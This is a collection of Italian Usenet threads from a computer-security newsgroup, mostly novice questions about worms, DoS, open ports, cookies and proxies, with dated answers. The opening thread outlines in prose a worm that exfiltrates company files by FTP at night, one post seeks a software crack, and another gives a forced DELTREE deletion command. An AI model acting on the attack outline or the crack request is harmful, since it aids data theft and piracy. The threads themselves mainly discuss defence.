mii-community/UsenetArchiveIT-conversations huggingface dataset:
Newsgroup: it.comp.sicurezza.varie
Titolo: Ditemi se e' possibile

Scenario:
Azienda collegata ad internet mediante firewall
connesso ad internet a 10 Megabit (es. fastweb in fibra).
Su uno dei client (es. quello della segretaria) viene
aperto un allegato.
L'allegato contiene un worm, che si installa, guarda
che ora e', e poi se ne sta li buono buono mettiamo
fino alle 2 di notte, ora durante la quale si presume
in azienda non vi sia nessuno.
A questo punto trova tutte connessioni di tale pc alla rete interna,
server compreso, quindi apre una bella sessione FTP in uscita verso un
server
impostato dal creatore del worm e bello pronto a ricevere
TUTTI i files contenuti sia sul pc "infetto" sia sui drive
mappati in rete.
Quando ha terminato, chiude la sessione e si rimette a nanna,
magari fino allo stesso giorno del mese successivo...
Ora ditemi voi: se e' possibile una roba del genere, oltre
ad inibire la possibilita' dei pc di uscir su internet con sessioni
FTP del genere, quali altri accorgimenti e' opportuno prendere ?
Danny

 FTP del genere, quali altri accorgimenti e' opportuno prendere ?
Continuiamo con la teoria: si', e' possibile, se buchi una macchina, poi
ne puoi fare cio' che vuoi, ma ci sono parecchi problemi:
I pc devono restare accesi.
Il server deve accettare coonnessioni 24 su 24 (non e' detto che lo
faccia).
Oltre a non fare connettere all'esterno, per evitare problemi, si puo'
obbligare il transito attraverso proxy, a orari o con autenticazione,
cosi' il mattino dopo la segretaria si trova il suo pc che le chiede la
password per accede all'esterno, o la finestrella che le dice che alle
02:00 non e' autorizzata ad usufruire della connessione in uscita.
-- 
          |Save our planet!
   Ciao   |Save wildlife!
  roberto |For your E-MAIL use ONLY recycled Bytes  !!
          |roberto poggi   
rpo...@softhome.net

 genere, quali altri accorgimenti e' opportuno prendere ?
inserire una clausola nel contratto dei dipendenti che dice che i
danni derivati da virus sono da addebitarsi sul conto in banca
dell'impiegato che fa cazzate; vietare l'apertura di allegati senza la
supervisione di un tecnico e non usare outlook
piu' raffinato: installare un server che riceva tutta la posta e la
smisti tra le postazioni filtrando le mail con allegati. le mail con
allegati vengono redirette verso macchine apposite da cui si effettua
un controllo manuale o se possibile automatico (del tipo "exe, vbs e
com => trash")
-- 
palladium: un nuovo 1984?
http://www.complessita.it/tcpa/
Newsgroup: it.comp.sicurezza.varie
Titolo: Attacchi DoS

Ciao, volevo chiedervi una info: supponendo di avere attivo un firewall "ben
impostato" , quindi ipotizzando le varie porte 138,139,ecc. chiuse, si
rimane comnque vulnerabili agli attacchi DoS?
Posso impostare anche protezioni contro i ping?
Se, ad esempio, qualcuno decidesse di smurfarmi, il firewall servirebbe a
qualcosa?
Spero che qualcuno riesca a chiarirmi un po' le idee...
Grazie in anticipo !
--
<<GORGEUS>>
ICQ#49325195  Per contattarmi togli PATATA dall' indirizzo
Vuoi guadagnare navigando?Scrivimi!
"Non cercare di piegare il cucchiaio,e' impossibile! Cerca invece di fare l'
unica cosa saggia: giungere alla verita' "     -Matrix-

qualcosa?
Per lo smurf, il firewall non serve a nulla, la banda ti si satura
comunque...
Un filtro sui ping a livello del tuo isp invece protegge, ma e'
abbastanza raro che vengano impostati questi filtri per proteggere
abbonamenti dial-up...
E comunque un filtro non serve a molto se lo smurf in questione
abbatte il tuo stesso fornitore di connettivita'...
DElyMyth [che parla per esperienza... sigh...]
-- 
Don't Let Your Fears Stand In The Way Of Your Dreams
DEly...@dely-net.com
http://www.dely-net.com/
ICQ# - 8761263

 wrote in message
98g1rs4gejd0geo71...@4ax.com...


Newsgroup: it.comp.sicurezza.varie
Titolo: denial.jpg?

Ciao, surfando tra siti dedicati alla scrittura di sceneggiature, mi
sono imbattutto in questo link:
http://www.fortunecity.com/referercheck/denial.jpg
 a cui sono arrivato
da: 
http://www.scriptsecrets.net/library/scriptna.htm
 (CLICCATE sul
link 1451: A Space Odyssey, prima tabella in alto). Uso Firefox 2.0 con
NoScript che blocca tutti gli scritp, e quindi non ho visto niente, ma
il sorgente del link 
http://www.fortunecity.com/referercheck/denial.jpg
riporta il contenuto esadecimale dell'immagine jpeg.
E' strano, vero?

 typed:

Che cavolo stai dicendo Willis? :P
Ciaotutti,
* 

Giulio Severini ha scritto:

Effettivamente il fatto che si visualizzi un'immagine cliccando su una jpeg 
è proprio strano
-- 
Roberto Tagliaferri-Linux user #30785 <-> r.tagliaferri@(forse)
tosnet.it
Ma guarda che roba!  Poi dicono che uno si butta a sinistra!
		-- Toto'

 
lol
Newsgroup: it.comp.sicurezza.varie
Titolo: chiudere il NET SEND

Ciao a tutto il NG,
volevo sapere come chiudere il servizio NET SEND perchè da quando ho
preparato e configurato una nuova macchina e l'ho messa in rete mi arrivano
sul desktop dei messaggi con il NET SEND da persone sconosciute su tutti gli
indirizzi IP che ho dato alla macchina.....
Come devo fare ?
Accetto consigli,link....
Ciao Giuseppe

 volevo sapere come chiudere il servizio NET SEND
http://www.microsoft.com/windowsxp/pro/using/howto/communicate/stopspam.asp
-- 
a torino siamo piu' fighi: i nostri cantieri sono eventi culturali, mica
dei semplici buchi polverosi da cui esce un rumore assordante!
http://www.comune.torino.it/cantieri/manuale/index.htm
Newsgroup: it.comp.sicurezza.varie
Titolo: ...Portaperte....





Proto     indirizzo 
locale               
indirizzo 
remoto                
stato


 


TCP       

0.0.0.0:0
                        

0.0.0.0:0
TCP       

0.0.0.0:110
                     

0.0.0.0:0
                   
Listening
TCP       

0.0.0.0:500
                     

0.0.0.0:0
                   
Listening
TCP       

127.0.0.1:1025
              
  

0.0.0.0:0
                   
Listening
TCP       

0.0.0.0:1047
                   

0.0.0.0:0
                   
Listening
TCP       

127.0.0.1:1040
               

127.0.0.1:110
             
Listening
TCP       

127.0.0.1:1043
               

127.0.0.1:110
             
Listening
TCP       mio 
IP:137                     
 

0.0.0.0:0
                   
Listening
TCP       mio 
IP:138                      

0.0.0.0:0
                   
Listening
TCP       

127.0.0.1:139
                  

0.0.0.0:0
                   
Listening
UDP       

127.0.0.1:1025
                
*.*    
UDP       mio 
IP:137                      
*.*
UDP       mio 
IP:138                      
*.*
UDP       

0.0.0.0:500
                     
*.*      


 


questo è quello che mi dà il comando netstat 
-na...considerando che di programmi aperti quando ho fatto il netstat avevo solo 
il browser e @guard...volevo sapere se vi sono, diciamo, porte pericolosamente 
aperte...grazie



aperte...grazie
Ma se hai @guard perche' lo chiedi a noi (e a netstat)! 
Clicca sulla barra di @guard (Network Activity) cosi' vedrai anche il
nome dell'eseguibile che tiene aperta la porta. 
Per vedere se vi sono porte sospette aperte devi fare questa
operazione, o netstat, quando non sei collegato.
Lapalissiano
ICQ 57269703
Newsgroup: it.comp.sicurezza.varie
Titolo: Problema di lettura file PWL

Problema;
devo decifrare il file Pwl del mio Pc -appositamente salvato
essendo a
conoscenza della sua esistenza prima che lo formattassi - per
recuperare le
password che non mi ricordo  più  (ero convinto di essere in
grado di
recuperarlo ma mi sbagliavo)!!!
Uso Pwl tool che per sentito
dire e navigando in rete è il miglior programma
sul genere in circolazione
(va bene o ho già sbagliato in partenza???).
Quando andavo a leggere il
*.pwl sul mio Pc non c'erano problemi ma adesso
che ho formattato e vado a
cercare di leggere il pwl salvato appartenente al
computer formattato sul
pc riprogrammato non visualizzo nulla(tra parentesi
non ho puù lo stesso
nome utente che avevo prima);qual'è la procedura
corretta per decifrare il
file???Sapreste indicarmi i passaggi corretti da
eseguire??
Va bene PWL
tool o devo usare un altro programma?Ho PWL tool 6.5, l'unica
che sono
riuscito a trovare in rete e in versione demo (è forse perche è
demo che
non riesco a decifrare il file)Sapreste indicarmi dove trovareun
crack??In
rete non c'è stato verso di trovarne uno (almeno io non sono stato
capace
di trovarlo!!!!!!
Vi ho ucciso di domande e vi ringrazio anticipatamente
se qualcuno riuscisse
a trovare il tempo per risponderti!! Mi risolverebbe
un problema non
indifferente!!
rispondete se possibile anche via mail
vll...@tin.it
Grazie mille Marco!!
--------------------------------
Inviato via 
http://usenet.iol.it

Scusa eh, ma se cancelli il file PWL non ti puoi loggare con password blank
?
Almeno, in 95 era cosi'.


Il problema non è quello; devo decriptare un file Pwl per risalire alle mie
vecchie password che non ho più e che non mi ricordo più avendo formattato
il Pc dal quale proviene il file Pwl.
"Marco Misitano" <ma...@misitano.com.nospam> ha scritto nel messaggio
news:983208410.380898@sj-nntpcache-5...


 wrote in message 97each$nrj$1...@lacerta.tiscalinet.it...

Newsgroup: it.comp.sicurezza.varie
Titolo: Rintracciare autore e-mail ufficio

In ufficio abbiamo una piccola rete intranet che ci permette di navigare 
anche in internet dopo aver inserito la propria password.
Ogni compiuter ha un suo indirizzo IP, il tutto collegato al server.
Da qualche giorno mi arrivano e-mail anonime (non brutte) da qualche 
collega e, dato per scontato che si collega al sito web di alice (non 
utilizza il programma interno di posta elettronica), è possibile 
rintracciare la postazione da cui è partita l'email?
grazie
nero23


Gli headers non mostrano l'IP di partenza ?
G.

Gabriele ha scritto:

C'è un IP, ma non appartiene a nessuno IP statico dei vari computer che 
abbiamo in ufficio. L'IP statico del computer compare quando invio una 
e-mail direttamente con il programma di posta (tipo thunderbird). Chi ha 
inviato l'emai, si è connesso a 
www.virgilio.it
 (alice) ed è entrato 
nella web-mail inserendo pipipippo@alice-it. L'IP che compare, potrebbe 
essere del server (o qualcosa del genere) che fa da filtro tra i nostri 
computer e la rete esterna?
Ciao
nero23

 è partita l'email?
no. Solo eventualmente da chi ha il controllo dei log del proxy.

 computer e la rete esterna?
Se fai qui un bel copia-incolla degli headers forse si capisce
meglio :)
Se davvero non compare l'IP del pc mittente, probabilmente appare
quello del vostro firewall o proxy o altra macchina che sta tra la vs
LAN ed internet.
G.

 no. Solo eventualmente da chi ha il controllo dei log del proxy.
Eh si.

Se davvero non compare l'IP del pc mittente, probabilmente appare
quello del vostro firewall o proxy o altra macchina che sta tra la vs
LAN ed internet.
Gli IP compaiono e sicuramente sono quelli del proxy.
Ora mi chiedo se da qualche parte c'è un log da cui è possibile risalire IP 
proxy IP computer personale.
Ciao
nero23 

 proxy IP computer personale.
Come ti hanno già suggerito, l'unica è incrociare gli orari delle e-
mail con il log del proxy, supponendo che tenga traccia di tutti gli
accessi.
Ciao
P.S: usate squid o che altro?
Newsgroup: it.comp.sicurezza.varie
Titolo: porte info

Come faccio a sapere quali sono le mie porte che sono in ascolto ?
Con netstat ???
Posso chiuderle?
Se sě, come?????
Grazie per una eventuale risposta !!!!!!!!
Ciao.
N.B.  Open your mind.
         Open yours eyes.

 Posso chiuderle?
La porta è in ascolto se c'è un programma che la usa. Chiudi il programma,
si chiude la porta (dopo un po')
--
dario...@iol.it
http://dariobrunocorti.freeweb.org
ICQ#: 37438061
--
MS Windows: quante volte vuoi formattare oggi?

 Se sě, come?????
dando una sbirciata alle FAQ, davvero ben fatte!
Leggile, mi sarai grato di avertene segnalato l'esistenza....ma + di tutti
ringrazia Max
SecurFaq: 
http://members.xoom.com/gouldukat/

Posso chiuderle?
Come gia' detto altrove, NON PARLATE DI "PORTE APERTE". E' la metafora
sbagliata.
Prova a pensarle come frequenze radio, su cui qualcosa ascolta.
A questo punto le domande diventano:
"Come faccio a sapere su quali frequenze ho programmi in ascolto?"
"Come faccio a fare smettere quei programmi?"
E la risposta diventa ovvia: eliminando quei programmi :-)
Leonardo
".signature": bad command or file name
Newsgroup: it.comp.sicurezza.varie
Titolo: Ad Aware e i cookies

Salve,
secondo voi per avere una buona protezione contro i cookie "maligni" č
meglio settare un livello di protezione di iexplorer a medio alto oppure
avvire Adaware ad ogni startup di windows.
Che ne pensate?

 avvire Adaware ad ogni startup di windows.
Avviare Ad-aware aggiornato ;)
-- 
ma i floppy da 1 e 7 tengono dieci milioni di byte?


wrote:
Esistono anche firewall (es. Zone Alarm Pro) che bloccanno alcuni
cookies ...
       Stefano Malavasi
__________________________________________________________________________________________
Email:		s_malavasi_REMOVE_@_REMOVE_lycos.it
Note: 		Remove _REMOVE_ string to reply

 ICQ 145194303
Inoltre, se usi IE (credo solo la 6.0), potresti settarlo per bloccare le
cookies spedite da siti considerati "terzi", dicitura di Microsoft...
Proviamo ad interpretarlo: visiti un sito e ti arriva una cookie di un sito
collegato, di solito pubblicitario, allora sarebbe bene bloccarlo... :)
p.s. strumenti, opzioni internet, privacy, avanzate, "blocca terze
parti"..etc.etc...
ciauz
--
Marco Spiga
NetworkingItalia
--------------------------------

 parti"..etc.etc...
io li ho bloccati tutti, poi se c'è proprio bisogno li setto un attimo su
"chiedi conferma"

Salve,

Avviare AdAware a ogni startup di uindous non č "prevenzione", ma
"rappresaglia"! :-)
Altresě, settare IE a medio alto "fa icchč fece i'nonno alla nonna",
come si dice dalle mi'parti.
Firewallino no, eh? ;)
Keith
--
Faites vos yeux, rien ne voit plus
------


Tanto di cappello, ma io unisco l'utile al dilettevole :), ad un certo punto
mi stufo di stare lě, a bloccare, ribloccare, etc...
Comunque la tua, per me č la migliore soluzione, senza alcun dubbio...il mio
problema č che le mie navigate sono 'mordi e fuggiě :), non ho tempo di
stare lě a tergiversare con le cookies ..eheh


 stare lě a tergiversare con le cookies ..eheh
forse non hai capito perchč non mi pare un gran sbattimento. non lascio
tutto su "chiedi conferma" ma sul non accettarli e ben poche volte sono
costretto a modificare quest'ultima opzione.. praticamente mai

 certo punto mi stufo di stare lě, a bloccare, ribloccare, etc...
Perche' non cancellarli tutti al riavvio?
Fino a w98SE funziona: DELTREE /Y C:\WINDOWS\COOKIES >NUL   (tanto viene
ricreata)
Cosi' le ditte di profilattici si profilano quantita' ignobili di utenti
sempre nuovi.   ;-)
Se serve qualche biscottino che passi la notte, si puo' fare un batch
che lo copy da dir separata.
Fabrizio (ecco perche' ho poca voglia di mollare il 98SE...)

 che lo copy da dir separata.
molto interessante.... provo a farlo su xp se gentilmente mi spieghi come
fare il batch


Il problema e' che non so se XP utilizza il dos... nonmiricordopiu' il
nome che windows lanciava, se esistente in c:\windows, credo fosse
winstart.bat, come ultima cosa prima di lanciarti la GUI, ma sono
rimasto al 98SE, XP e' un'altra bestiaccia...
Fabrizio
Newsgroup: it.comp.sicurezza.varie
Titolo: Neighbour table overflow

Francamente, da quel che ho letto non ho tratto nulla d'interessante.
Significa che la cache ARP sta tirando il calzino. L'ipotesi piu'
semplice e' che ti sia partito un "ifconfig lo down".
L'altra e' che qualcuno - o tu stesso - stia facendo magheggi con
i messaggi ARP, non saprei proprio perche' O:-)
Ah, forse, si riesce a fare casino se metti una netmask vuota per
l'interfaccia di default. O se ci sono cose strane nel forwarding
unicast.
(File: route.c; funzione: rt_intern_hash())
Leonardo

 Francamente, da quel che ho letto non ho tratto nulla d'interessante.
Io ho trovato questo, non so se c'entra:
http://www.infodrom.org/Debian/tips/neighbour.html
ed anche 
http://www.linuxgazette.com/issue65/tag/12.html
-- 
Pierluigi De Rosa (
tho...@durin.khazad-dum.net
).
<<      LINUX: the choice of a GNU generation     >>
<<   For my real address... ask the Balrog.       >>
* Sostenete la Lega per la Soppressione dei Troll *

 semplice e' che ti sia partito un "ifconfig lo down".
Si, in uno degli articoli trovati con santo Gugl diceva proprio questo
infatti, parlava dell'interfaccia 'lo' mancante.


 alive and kicking.
Uhm allora non saprei, mi dispiace.. ho cercato cosi' al volo ed ho
trovato solo quello.


un programma peer to peer...bah.
Uh... il quale cosa forwarda, e dove, e da dove?
Leonardo
-- 
"Open Source programs are designed and developed.
 Our products are tested."
 Steve Lipner, manager, Microsoft Security Response Center

 un programma peer to peer...bah.
Perche' un destination nat per un programma peer to peer? Vuoi uploadare
senza usare connessioni push? Forse non ho capito bene come e' fatta la
tua rete: la macchina la cui cache arp va in overflow e' un router/firewall
o una workstation?
Vabbe'... al posto di darti delle risposte ti ho solo fatto domande? :)
Fabio

La cosa non ti convince?
Ora si' :-). PAT su tcp e udp, giusto?
Cos'e'... NetOP? (Non ricordo e sono pigro).
Leonardo

Cos'e'... NetOP? (Non ricordo e sono pigro).
Mi rispondo da solo: GNUtella :-)
Leonardo

 Quel MAC e' quello del dannato default gateway del mio provider.
Direi che il gw del tuo provider fa proxy-arp. Mi sa che devi
svuotare periodicamente la cache arp oppure usare un software
p2p che scambi dati con un minor numero di peer.
Non saprei come fare ma forse e' possibile diminuire il tempo
di vita delle voci nella cache arp. Mi sa' che e' hardcoded e
devi ricompilare il kernel (eh, eh... win2k rulez :))).
Fabio

 ;)
Intendevo riferirmi a:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
ArpCacheLife=##
Ma poi ho scoperto che esistono anche:
/proc/sys/net/ipv4/neigh/[if]/base_reachable_time
/proc/sys/net/ipv4/neigh/[if]/gc_interval
... e soprattutto:
/proc/sys/net/ipv4/neigh/[if]/gc_thresh[123]
e altre cosine interessanti. Mi pareva strano ;)
Fabio
Newsgroup: it.comp.sicurezza.varie
Titolo: Problema DLL - Internet Explorer 5

Ciao, da un po' di tempo mi capita di ricevere questo messaggio d'errore in
background nell'esecuzione di qualche programma. (mentre eseguo scandisk,
defrag, music match jukebox 3.0, etc.)
EXPLORER ha provocato un errore 6d007fH nel modulo WEBCHECK.DLL in
015f:789a25a9.
Registri:
EAX=005ffdf0 CS=015f EIP=789a25a9 EFLGS=00000246
EBX=00000000 SS=0167 ESP=005ffdb8 EBP=005ffde8
ECX=c15e6980 DS=0167 ESI=789c7700 FS=26bf
EDX=8178f6f8 ES=0167 EDI=70290000 GS=0000
Byte all'indirizzo CS:EIP:
8b 5d f8 e9 d3 ef ff ff 83 65 fc 00 8d 4d dc 51
Immagine dello stack:
005f0000 00000001 005ffe80 00000024 789c7700 789ca668 789a2340 00000001
789c7ec8 70290000 00000000 0000007f 005ffe24 789a2326 005ffdc4 789ca668
Termino l'operazione (non il programma che stavo eseguendo), scompaiono le
solite icone vicino all'orologio e il programma continua ad andare. Ora, il
problema comincia a darmi sui nervi quando devo masterizzare qualche cd!!
Quali problemi mi causa il file webcheck.dll? mi capita questo problema da
quando ho installato Internet Exporer 5 (versione personalizzata, dal cd di
Internet News 8)
Come posso fare per risolvere questo problema? Disinstallare ie 5?
cancellare o modificare il webcheck.dll o cos'altro?
Spero di non aver sprecato il vostro tempo, e vi ringrazio in anticipo del
tempo che (spero) mi dedicherete
Jedichan
dopo...@hotmail.com

 EXPLORER ha provocato un errore 6d007fH nel modulo WEBCHECK.DLL in
Hai una versione non aggiornata di webcheck.dll, che per Ie5 deve
essere 5.00.* o superiore.
Dovresti risolvere estraendo webcheck.dll dal file mobile95.cab o
mobilent.cab di installazione di IE5, e sostituendolo a quello che hai
adesso nella directory system.
Maggiori dettagli sulla knowledge base:
http://support.microsoft.com/support/kb/articles/Q235/7/50.ASP
--
Ciao,
Francesco
Sopprimi Bindi per rispondermi in e-mail
---
Newsgroup: it.comp.sicurezza.varie
Titolo: ma cosa è questo blocco ?

ma con le immagini, s'identifica il computer del mittente ?
come ?
Quando arriva una email con immagini, outlock scrive :
alcune immagini sono state bloccate per impedire l'identificazione del 
computer in uso da parte del mittente. Fare clic qui per scaricare le 
immagini 

 ha scritto nel messaggio
news:43980223$0$27609$4faf...@reader1.news.tin.it...

 Metti che uno mandi una lettera di spam (a indirizzi casuali)
contenente un link
a una piccola immagine trasparente di tipo gif, se il  programma di
posta
elettronica la scarica lo spammer capisce che l' indirizzo é valido e
quindi
continuerà a mandare e-mail di spam a quell'indirizzo. E' un trucco
molto
usato, perciò i programmi di posta come outlook ma anche thunderbird
mettono
questo blocco.

immagini 
Sono immagini con il nome piu' complesso di un tot, secondo parametri che
solo Outlook conosce.
L'idea e' che se tu scarichi www.sito.tld/img/sfondo.gif, stai scaricando
lo sfondo di una pagina; ma, se scarichi www.sito.tld/img/egi_tin.it.gif,
stai scaricando una immagine il cui scopo e' informare uno spammer che il
tuo indirizzo e' valido, per spammarti di piu'.
Naturalmente ci sono trucchi anche piu' furbi per dare il nome alla GIF.
Leonardo
-- 
"Se e' vero che Linux in se' e' gratis, non lo sono le indispensabili
interfacce grafiche (X, KDE ecc.) che consentono alle persone normali
di utilizzarlo."                    -- Jason Matusow, Microsoft Corp.

 Naturalmente ci sono trucchi anche piu' furbi per dare il nome alla GIF.
Hmmm... di quale 'Outlook' stiamo parlando? AFAIK Outlook 2003 di
default impedisce di scaricare qualsiasi immagine.
About protecting your privacy by blocking automatic picture downloads
http://office.microsoft.com/en-us/assistance/HP010440221033.aspx
 
Menu Strumenti>Opzioni>scheda Protezione>Cambia impostazioni download
automatico 
http://www.mytempdir.com/308328
-- 
Tiziano "Lapalissiano" Marmiroli
Microsoft MVP - Office System

default impedisce di scaricare qualsiasi immagine.
Okay, forse "parametri" era un po' un overstatement 8-)


Naturalmente ci sono trucchi anche piu' furbi per dare il nome alla GIF.
Tipo questi
http://groups.google.it/group/it.comp.sicurezza.varie/msg/482665c63f4bf2bb
?
-- 
Ci sono 10 tipi di persone al mondo: quelle che capiscono il sistema binario
e quelle che non lo capiscono.

?
Gia'. Me n'ero dimenticato; in effetti il comportamento di Outlook e'
l'unico accettabile :-|
Via, per una volta che fa una cosa giusta, riconosciamoglielo :-)

Newsgroup: it.comp.sicurezza.varie
Titolo: manuale winproxy

Vorrei sapere dove trovare un manuale di uso e configurazione di
winproxy

 winproxy
google: manuale+winproxy
-- 
se qualcuno ti pare un idiota plonkalo in silenzio

 winproxy
dal sito di winproxy direi
-- 
Restyling di 
www.x-planet.org
 in corso..
Web to news sperimentale a 
http://www.x-freedom.org
 Presto sarà
www.x-privat.net
 ! :)

 ha
scritto:


 Hai ragione.....ma io lo voglio in italiano!
non ho mai trovato una traduzione del manuale di winproxy in italiano..
-- 
Restyling di 
www.x-planet.org
 in corso..
Web to news gateway sperimentale a 
http://www.x-privat.net

 Hai ragione.....ma io lo voglio in italiano!
brutta storia non saper usare google: si cerca winproxy+manuale, al terzo
link si trova citato un manuale di tiscali, si cerca quindi con maggior
precisione winproxy+site:
tiscali.it
 e si trova una guida in italiano per
winproxy fatta da tiscali (magia!)
p.s.: pure non saper quotare e' brutto:
http://www.freewebz.com/iosononiubbo/iosononiubbo.htm#quotare


Newsgroup: it.comp.sicurezza.varie
Titolo: WinME-Xp e rete

Ho 2 pc collegati in rete tra di loro tramite schede ethernet 10/100 e uno
switch 10/100.
Inotre ho un collegamento ADSL tramite modem ethernet.
Se collego il modem adsl allo switch,tutta la mia rete è on-line,cosa molto
poco sicura...allora vi chiedo:
-Posso su un pc (diciamo il numero 1) installare 2 sistemi operativi sullo
stesso HD,ad esempio un dual boot con WindowsME e WindowsXP......settare
WinME per la rete,quindi abilitare "condividi risorse e stampanti" e tutte
le restanti proprieta'........mentre in WinXP eliminare "condividi risorse e
stampanti" e attivare solo il modem adsl ethernet sulla stessa scheda di
rete      ???????????
In attesa,saluti!

 poco sicura...allora vi chiedo:
Leggi le FAQ, li' trovi indicazioni utili..
http://www.securfaq.usenet.eu.org/
-- 
Pierluigi De Rosa (
tho...@durin.khazad-dum.net
).
<<      LINUX: the choice of a GNU generation     >>
<<   For my real address... ask the Balrog.       >>
* Sostenete la Lega per la Soppressione dei Troll *
Newsgroup: it.comp.sicurezza.varie
Titolo: multiproxy

Ciao.
Il multiproxy č la soluzione di tutti i guai?
(navigazione anonima, niente attacchi)
O no?
bye

 ha scritto nel messaggio
news:9ktut3$1o5$1...@serv1.iunet.it...

 no
--
Francesco
**Togli i numeri per rispondere**


Perchè no?

 Francesco
Azz...grazie mille...esauriente sino alla noia.

O no?
Soluzione di tutti i guai... no!
Pero' se imposti la navigazione su proxy anonimi garantisce un
discreto livello di anonimita'... prova pero' a spedire una mail con
multiproxy ;o))))

Perchè no?
Perchè ti permette di fare navigazione anonima, ma gli attacchi li
puoi ricevi lo stesso. Non mi addentro in tecnicismi che non conosco,
ma in linea di massima il concetto è questo: un server proxy fa da
*intermediario* nel traffico tra il tuo pc e i vari siti. L'attacco
invece viene indirizzato direttamente al tuo indirizzo IP, quindi non
passa da nessun proxy.
Di meglio non saprei dirti, ma spero d'esserti stato d'aiuto
Ciao
--
**Togli le X per rispondere**

 ma in linea di massima il concetto č questo: un server proxy fa da


 wrote in message
news:3b73cd3f...@news.libero.it...

Vero, hai ragione...mi ero fermato alla prima parte dell'affermazione, cioè
alla navigazione anonima (sempre che si trovino proxy anonimi)
Ciao

Newsgroup: it.comp.sicurezza.varie
Titolo: Antivirus leggero

Salve a tutti, avrei necessità di conoscere qualche antivirus che possa
girare su macchine 233 mhz con 32/64 mb di memoria, senza appesantirle
oltremodo.
MArceme

Un uccellino mi ha detto che "
e...@iol.it
" ha scritto nel messaggio
"xJAAc.491351$
rM4.20...@news4.tin.it
"...

www.free-av.com
-- 
Andrea
~ : ~ : ~ : ~ : ~ : ~ : ~ : ~ : ~
 
http://www.inzona.com
~ : ~ : ~ : ~ : ~ : ~ : ~ : ~ : ~
Yahoo ID andrea26272

Vagavo per il polo alla ricerca di un venditore di frigoriferi quando
incontrai Marceme che mi disse:
NOD32
-- 
begin  .signature virus! See Microsoft KB Article Q265230 4 more info.
Se vuoi scrivermi, togli "KILLER."
Capisci che il mondo sta impazzendo quando il miglior rapper è un bianco, il
miglior giocatore di golf è di colore, la Svizzera detiene l'America's Cup
di vela, la Francia accusa gli Stati Uniti di arroganza e la Germania non
vuole entrare in guerra e il miglior pizzaiolo a Napoli è un giapponese.



F-prot

Newsgroup: it.comp.sicurezza.varie
Titolo: BackOrifice2000 ???

Mi sapete dire a cosa serve e come funziona il programma di cui in
oggetto???
Grazie

oggetto???
groups.google.com
 ha la risposta che cerchi.
Se ce l'hai a bordo, anche un antivirus ti puo' rispondere.
-- 
           ~~ ICQ#: 8761263 ~~ 
http://www.delymyth.net/
 ~~
            E-Mail Addy: DElyMyth [at] delymyth [dot] net
           => FREE! Hardware Anti-Virus!!! - /dev/brain <=
Chi lavora avvelena anche te, digli di smettere - DElyMyth@work
Newsgroup: it.comp.sicurezza.varie
Titolo: http accelerator + ssl wrapper

Ciaotutti,
mi frugola l'idea di provare a mettere su l'accrocchio del subject,
basandomi su squid.
L'idea sarebbe quella di far ascoltare squid sulla porta 80 della lo, e
di far girare sulla 443 una istanza di stunnel in daemon-mode che wrappi
rinetd, il quale ridiriga su squid.
Qualcuno ci ha già provato? (zio google non mi riporta nulla di questo
tipo...)
Qualcuno ha una idea più efficiente per fare il tutto (soprattutto quel
rinetd lì in mezzo non mi sconfinfera)?
Qualcuno sa *se* funzionerebbe? ;-)
( Si, lo so che esiste pound...)
Utz e blatz a tutti...
-- 
Emanuele Balla aka Skull
-----------------------------------------------------------------------
Besides, I think [Slackware] sounds better than 'Microsoft', don't you?
(By Patrick Volkerding)

 rinetd lì in mezzo non mi sconfinfera)?
Occhei, ho capito da solo, dopo quel paio d'ore... quel rinetd non serve
a una cicca...


 Sgranocchiando il cranio di Skull, vi trovai inciso:
Ti sgranocchi da solo ? :P
Ciao

 Ti sgranocchi da solo ? :P
E' da quando ho messo la dentiera che mi riesce il gioco...


 Polident is your friend :-D
per amor di cronaca e di completezza, ovviamente funziona...
C Ya


 Beh ettecredo, con tutto quello che spendono in reclàme..
ROTFL
Ovviamente mi riferivo al subject, non all'adesivo ;-)
C ya


Newsgroup: it.comp.sicurezza.varie
Titolo: [DPS] quesito sul responsabile

Durante l'assegnazione delle nomine ad "incaricato del trattamento" o
"responsabile", la persona designata come responsabile può rifiutare di
accettare tale ruolo?


L'incaricato è colui che fisicamente tratta i dati. Nello specifico può 
trattarsi di un ragioniere che emette delle fatture di vendita (dati di 
clienti) o registra fatture di acquisto(dati di fornitori) non vedo come 
possa rifiutarsi di accettare l'incarico di gestire dati che sono di routine 
nel suo lavoro.
Il responsabile è una persona fisica o giuridica(società) che ha 
dimostrabili capacità tecniche per garantire la progettazione, l'adozione ed 
il rispetto delle misure di sicurezza minime o idonee; in questo caso viste 
le responsabilità (anche penali) ci si potrebbe rifiutare ma poi dipende dal 
ruolo che si ha, se ci sono più persone che possono ricoprirlo etc..
Newsgroup: it.comp.sicurezza.varie
Titolo: happy99.exe ... che roba e'?

mi sapete dire che roba č  happy99.exe un file che spesso si trova in giro??
---------------------------------------------
Romolo 'firemind' Stoppani
ICQ UIN->11528364
Please remove CANCELLAMI to reply via E-mail.

mi sapete dire che roba è  happy99.exe un file che spesso si trova in giro??
.... scusate ... ho trovato la risposta!!!


 mi sapete dire che roba è  happy99.exe un file che spesso si trova in giro??
E' un virus!! Ti consiglio di non eseguirlo
-- 
Grazie e ciao,
Giglio
E-mail: 
gig...@poboxes.com
Homepage: 
http://fly.to/giglio/
ICQ: 12385960
-------------
Se vuoi votare it.comp.software.browser
vai in it.news.votazioni e rispondi al
messaggio "CFV: it.comp.software.browser"
seguendone le istruzioni.

E' un virus!! 
un worm, per la precisione
Buttha
-----------------------------------------------------------------------
* Per rispondere rimuovere i
* PGP Key: RSA & DH/DSS
* h

un worm, per la precisione
che sono appunto quella categoria di virus che si riproducono soltanto
;-)
Bye Krmel
Microsoft Outlook Express: cosa vuoi postare postare postare postare oggi?

Newsgroup: it.comp.sicurezza.varie
Titolo: mi serve un aiuto

Ciao a tutti,
scusate forse sono nel posto sbagliato ma non so' più dove sbattere la
testa, mi serve una mano.
Mi sono beccata l'happy time e ancora non so' come sia potuto succedere.
Qualcuno di voi sa' dirmi come eliminarlo?
Grazie infinite
April

 ha scritto nel messaggio
news:XfNK7.142513$sq5.6...@news.infostrada.it...

Ti consiglio di guardare sul sito della mcafee...
in genere scrivono le procedure per l'eliminazione.
www.mcafee.com
In bocca al lupo
Rey

  > >




Happy time non esiste; se intendi VBS.Haptime.A@mm allora visita
questa pagina :
http://securityresponse.symantec.com/avcenter/venc/data/vbs.ha...@mm.html
-----=  Posted via Newsfeeds.Com, Uncensored Usenet News  =-----
http://www.newsfeeds.com
 - The #1 Newsgroup Service in the World!
 Check out our new Unlimited Server. No Download or Time Limits!
